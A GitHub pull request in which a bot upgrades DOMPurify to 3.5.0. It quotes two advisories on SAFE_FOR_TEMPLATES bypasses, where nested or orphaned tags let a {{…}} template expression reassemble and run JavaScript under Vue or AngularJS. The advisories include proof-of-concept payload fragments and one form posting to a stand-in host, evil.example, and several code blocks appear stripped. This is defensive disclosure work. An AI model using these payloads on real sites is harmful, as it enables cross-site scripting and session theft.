Repository navigation
chore(deps): update dependency dompurify to v3.5.0 [security] - #19
Open
renovate[bot] wants to merge 1 commit into
Open
renovate[bot] wants to merge 1 commit into
renovate[bot] wants to merge 1 commit into
Conversation
renovate
Bot
force-pushed
the
renovate/npm-dompurify-vulnerability
branch
from
December 4, 2026 06:51
e0a0596 to
d929f2e
Compare
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
This PR contains the following updates:
3.4.17→3.5.0These land in the published bundle (
map0-viewer). Check the page-tier line ofpnpm sizein the CI log, and the smoke and visual steps.DOMPurify: SAFE_FOR_TEMPLATES bypass: template expressions reassemble when sanitized output is reparsed (nested and orphaned end tags)
CVE-2026-140391 / GHSA-qm7q-q8h9-jg8q
More information
Details
Summary
With
SAFE_FOR_TEMPLATES: true, DOMPurify 3.4.17 returns strings that contain no{{or}}, but which turn into a live{{…}}expression as soon as the string is assigned toinnerHTML. A template engine that then compiles that DOM (verified with Vue 3 in-DOM templates and AngularJS 1.8.3) evaluates the attacker's expression, giving arbitrary JavaScript execution.The attacker controls only the markup passed to
sanitize(). The only configuration required isSAFE_FOR_TEMPLATES: true, which is a protective option, and the application uses it for its documented purpose. There are two independent variants.Both variants reproduce on Chromium 156, Firefox 157 and WebKit 27.2. The plain
{{…}}case and the "expression split by a removed element" case are still correctly scrubbed, so this is a gap in the existing protection, not a missing feature.Details
SAFE_FOR_TEMPLATESscrubbing happens in two places, and neither accounts for how the returned string is parsed a second time by the consumer.Per text node, during the walk (
src/purify.ts, around line 2396):On the final serialized string (
src/purify.ts, around line 3273):Both use the expressions in
src/regexp.ts, e.g.MUSTACHE_EXPR = /{{[\w\W]*|^[\w\W]*}}/g.Variant 1: nested
<form>collapses on reparseInput:
On the first parse,
</form>clears the parser's form element pointer while the<div>is still open, so the second<form>is accepted as a child of the<div>. The DOM has three separate text nodes:{,{…}and}. None of them contains{{or}}, so the per-node scrub does nothing.Serialized output:
The string has no
{{or}}either (a<form>tag sits between the braces), so the final string scrub also passes.When the consumer assigns this to
innerHTML, the HTML parser ignores the inner<form>start tag because a form is already open. The three text fragments become adjacent and merge into one text node:Variant 2: the final string scrub cuts through markup
Input:
After the disallowed
<x>is removed, the serialized string is<b><i>}}{</i>{…}</b>}. The^[\w\W]*}}branch ofMUSTACHE_EXPRthen deletes everything from the start of the string through}}, which removes the<b><i>start tags but leaves their end tags.Output:
{</i>{constructor.constructor('alert(1)')()}</b>}On reparse the orphaned
</i>and</b>are dropped, and the text merges into{{constructor.constructor('alert(1)')()}}.The same regex-over-markup behaviour can also cut closing tags from the end of the output (the
{{[\w\W]*branch). For example<form action="https://evil.example/collect"><input name=q>{<x></x>{</form><p>after</p>returns<form action="https://evil.example/collect"><input name="q">with no</form>.Root cause and suggested direction
The scrub treats "no expression in any text node" and "no expression in the serialized string" as sufficient, but the guarantee users need is "no expression in any text node after the output is parsed again". Possible fixes:
{/}at text-node boundaries as unsafe when the adjacent sibling's text starts or ends with a brace.Proof of concept
Tested with DOMPurify 3.4.17 (npm
latest), Vue 3.5.45 and AngularJS 1.8.3 on Chromium 156, Firefox 157 and WebKit 27.2.Configuration:
{ SAFE_FOR_TEMPLATES: true }, nothing else.Save as
poc.htmland open it in a browser. Usepoc.html?v=2for the second variant.Expected: the sanitized strings contain no live expression and nothing executes.
Actual (variant 1):
Actual (variant 2):
Controls that are still scrubbed correctly with the same config:
<p>{{constructor.constructor('alert(1)')()}}</p>returns<p> </p><div>{<foo></foo>{constructor.constructor('alert(1)')()}<foo></foo>}</div>returns</div>Server-side: with DOMPurify 3.4.17 on jsdom 27.0.1, both payloads return the same strings, and parsing those strings yields a single text node containing
{{constructor.constructor('alert(1)')()}}.Impact
Cross-site scripting through client-side template injection.
Affected: applications that sanitize untrusted HTML with
SAFE_FOR_TEMPLATES: true, place the result in the DOM through an HTML sink such asinnerHTML, and then have a template engine compile that DOM. Verified with Vue 3 in-DOM templates and AngularJS 1.x; other mustache-style engines that compile existing DOM are likely affected in the same way.An attacker who can submit markup (a comment, a profile field, a rich-text message) gets arbitrary JavaScript execution in the origin of the page for every user who views it, with the usual consequences: session theft, actions on behalf of the victim, and content manipulation.
Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
DOMPurify SAFE_FOR_TEMPLATES bypass: nested makes a template expression reassemble when sanitized output is reparsed
CVE-2026-144292 / GHSA-hrxw-jjj6-2g2j
More information
Details
Summary
With
SAFE_FOR_TEMPLATES: true, DOMPurify 3.4.18 returns a string that contains no{{or}}, yet becomes a live{{…}}expression as soon as it is assigned toinnerHTML. A template engine that compiles that DOM (verified with Vue 3 in-DOM templates and AngularJS 1.8.3) evaluates the attacker's expression, giving arbitrary JavaScript execution.The attacker controls only the markup passed to
sanitize(). The only configuration required isSAFE_FOR_TEMPLATES: true, which is a protective option used for its documented purpose.Reproduced on DOMPurify 3.4.18 (npm
latest) in Chromium 156, Firefox 157 and WebKit 27.2. The plain{{…}}case is still scrubbed correctly, so this is a gap in the existing protection.Details
SAFE_FOR_TEMPLATES is enforced in two places in
src/purify.ts, and neither accounts for how the returned string is parsed a second time by the consumer.Per text node, during the walk (around line 2122):
After serialization, a tree scrub that only runs when the serialized output contains a marker (around line 2872):
with
TMPL_MARKER_SERIALIZED = /{{|}}|\${|<%|%>|<%|%>/insrc/regexp.ts.Input:
Step 1, first parse (inside DOMPurify).
</form>clears the parser's form element pointer while the<div>is still open, so the second<form>is accepted as a child of the<div>. The tree has three separate text nodes,{,{…}and}, with an element between them. No single text node contains{{or}}, so the per-node scrub does nothing.Step 2, serialization:
The string contains no
{{or}}(a<form>tag sits between the braces), soTMPL_MARKER_SERIALIZEDdoes not match and the post-serialization scrub is skipped. Even if it ran, it works on the same tree, where the fragments are separate text nodes.Step 3, second parse (in the consumer). When this string is assigned to
innerHTML, the HTML parser ignores the inner<form>start tag because a form is already open. The three fragments become adjacent and merge into one text node:Root cause: the guarantee is checked on DOMPurify's own tree and on the serialized string, but the output is not stable under a second parse. A nested
<form>is a case where serialize-then-parse changes which text nodes are adjacent.Suggested direction:
<form>nested inside another<form>, since it cannot survive a reparse; or{/}at a text-node boundary as unsafe when the neighbouring text across an element boundary starts or ends with a brace.A regression test for this shape would be worth adding; the current suite has none.
Proof of concept
Tested with DOMPurify 3.4.18 (npm
latest), Vue 3.5.45 and AngularJS 1.8.3 on Chromium 156, Firefox 157 and WebKit 27.2.Configuration:
{ SAFE_FOR_TEMPLATES: true }, nothing else.Minimal check:
End-to-end: save as
poc.htmland open it in a browser.Expected: the sanitized strings contain no live expression and nothing executes.
Actual, identical in all three browsers:
Control, same config:
<p>{{constructor.constructor('alert(1)')()}}</p>returns<p> </p>.Server-side: with DOMPurify 3.4.18 on jsdom 27.0.1, the payload returns the same string, and parsing that string yields a single text node
{{constructor.constructor('alert(1)')()}}.Impact
Cross-site scripting through client-side template.
An attacker who can submit markup (a comment, a profile field, a rich-text message) gets arbitrary JavaScript execution in the page's origin for every user who views it: session theft, actions on behalf of the victim, and content manipulation.
Severity
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
Release Notes
cure53/DOMPurify (dompurify)
v3.5.0: DOMPurify 3.5.0Compare Source
This release contains security fixes and a few behavior changes, see below. There will be no further 3.4.x release.
Changelog
SAFE_FOR_TEMPLATESbypass where nested tags could reassemble expressions on reparse, thanks @e1abradorSAFE_FOR_TEMPLATES: entity-encoded text in astyleelement nested in atextareaortitle, text hidden in the children of a void element, NUL characters splitting a marker, and comments that end early on reparseIN_PLACEfail-closed handling: a rejected root is now neutralized inside its open shadow roots, a failed call no longer leaves text or comments in the root, and a removed node that a hook or custom element puts back is sanitized againIN_PLACEnever returned because a custom element or hook kept re-inserting a removed node, the call now fails closedCUSTOM_ELEMENT_HANDLINGskipping the namespace checkuponSanitizeAttributehook removed several attributes of the current nodesanitize()call made from inside a hook or config callback replacing the config of the outer callRETURN_DOM, see #1728, thanks @YevheniiKotyrloIN_PLACEdist/matches a clean buildBehavioral changes
SAFE_FOR_TEMPLATESis guaranteed for string input. For DOM node input andIN_PLACEit is best effort, because a tree the HTML parser did not build can change shape when it is parsed againCUSTOM_ELEMENT_HANDLING.tagNameCheckis only kept in HTML. Inside SVG or MathML it is not a custom element and is now removedtextareaortitleholding an element child and a void element holding children are removed. The HTML parser never produces these, so string input is not affectedsanitize()call made from a hook no longer changes how the rest of the outer call behaves. Code that relied on the old side effect needs to pass the config explicitlyIN_PLACEnow throws when a hook or custom element keeps putting a removed node back, instead of returning the node or running indefinitelyv3.4.18: DOMPurify 3.4.18Compare Source
SAFE_FOR_TEMPLATESbypass where the final scrub cut through tags and let a template expression form on reparse, thanks @e1abradorUSE_PROFILESis combined withALLOWED_TAGSorALLOWED_ATTR, thanks @rugksanitize()Configuration
📅 Schedule: (in timezone Europe/Vienna)
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
This PR was generated by Mend Renovate. View the repository job log.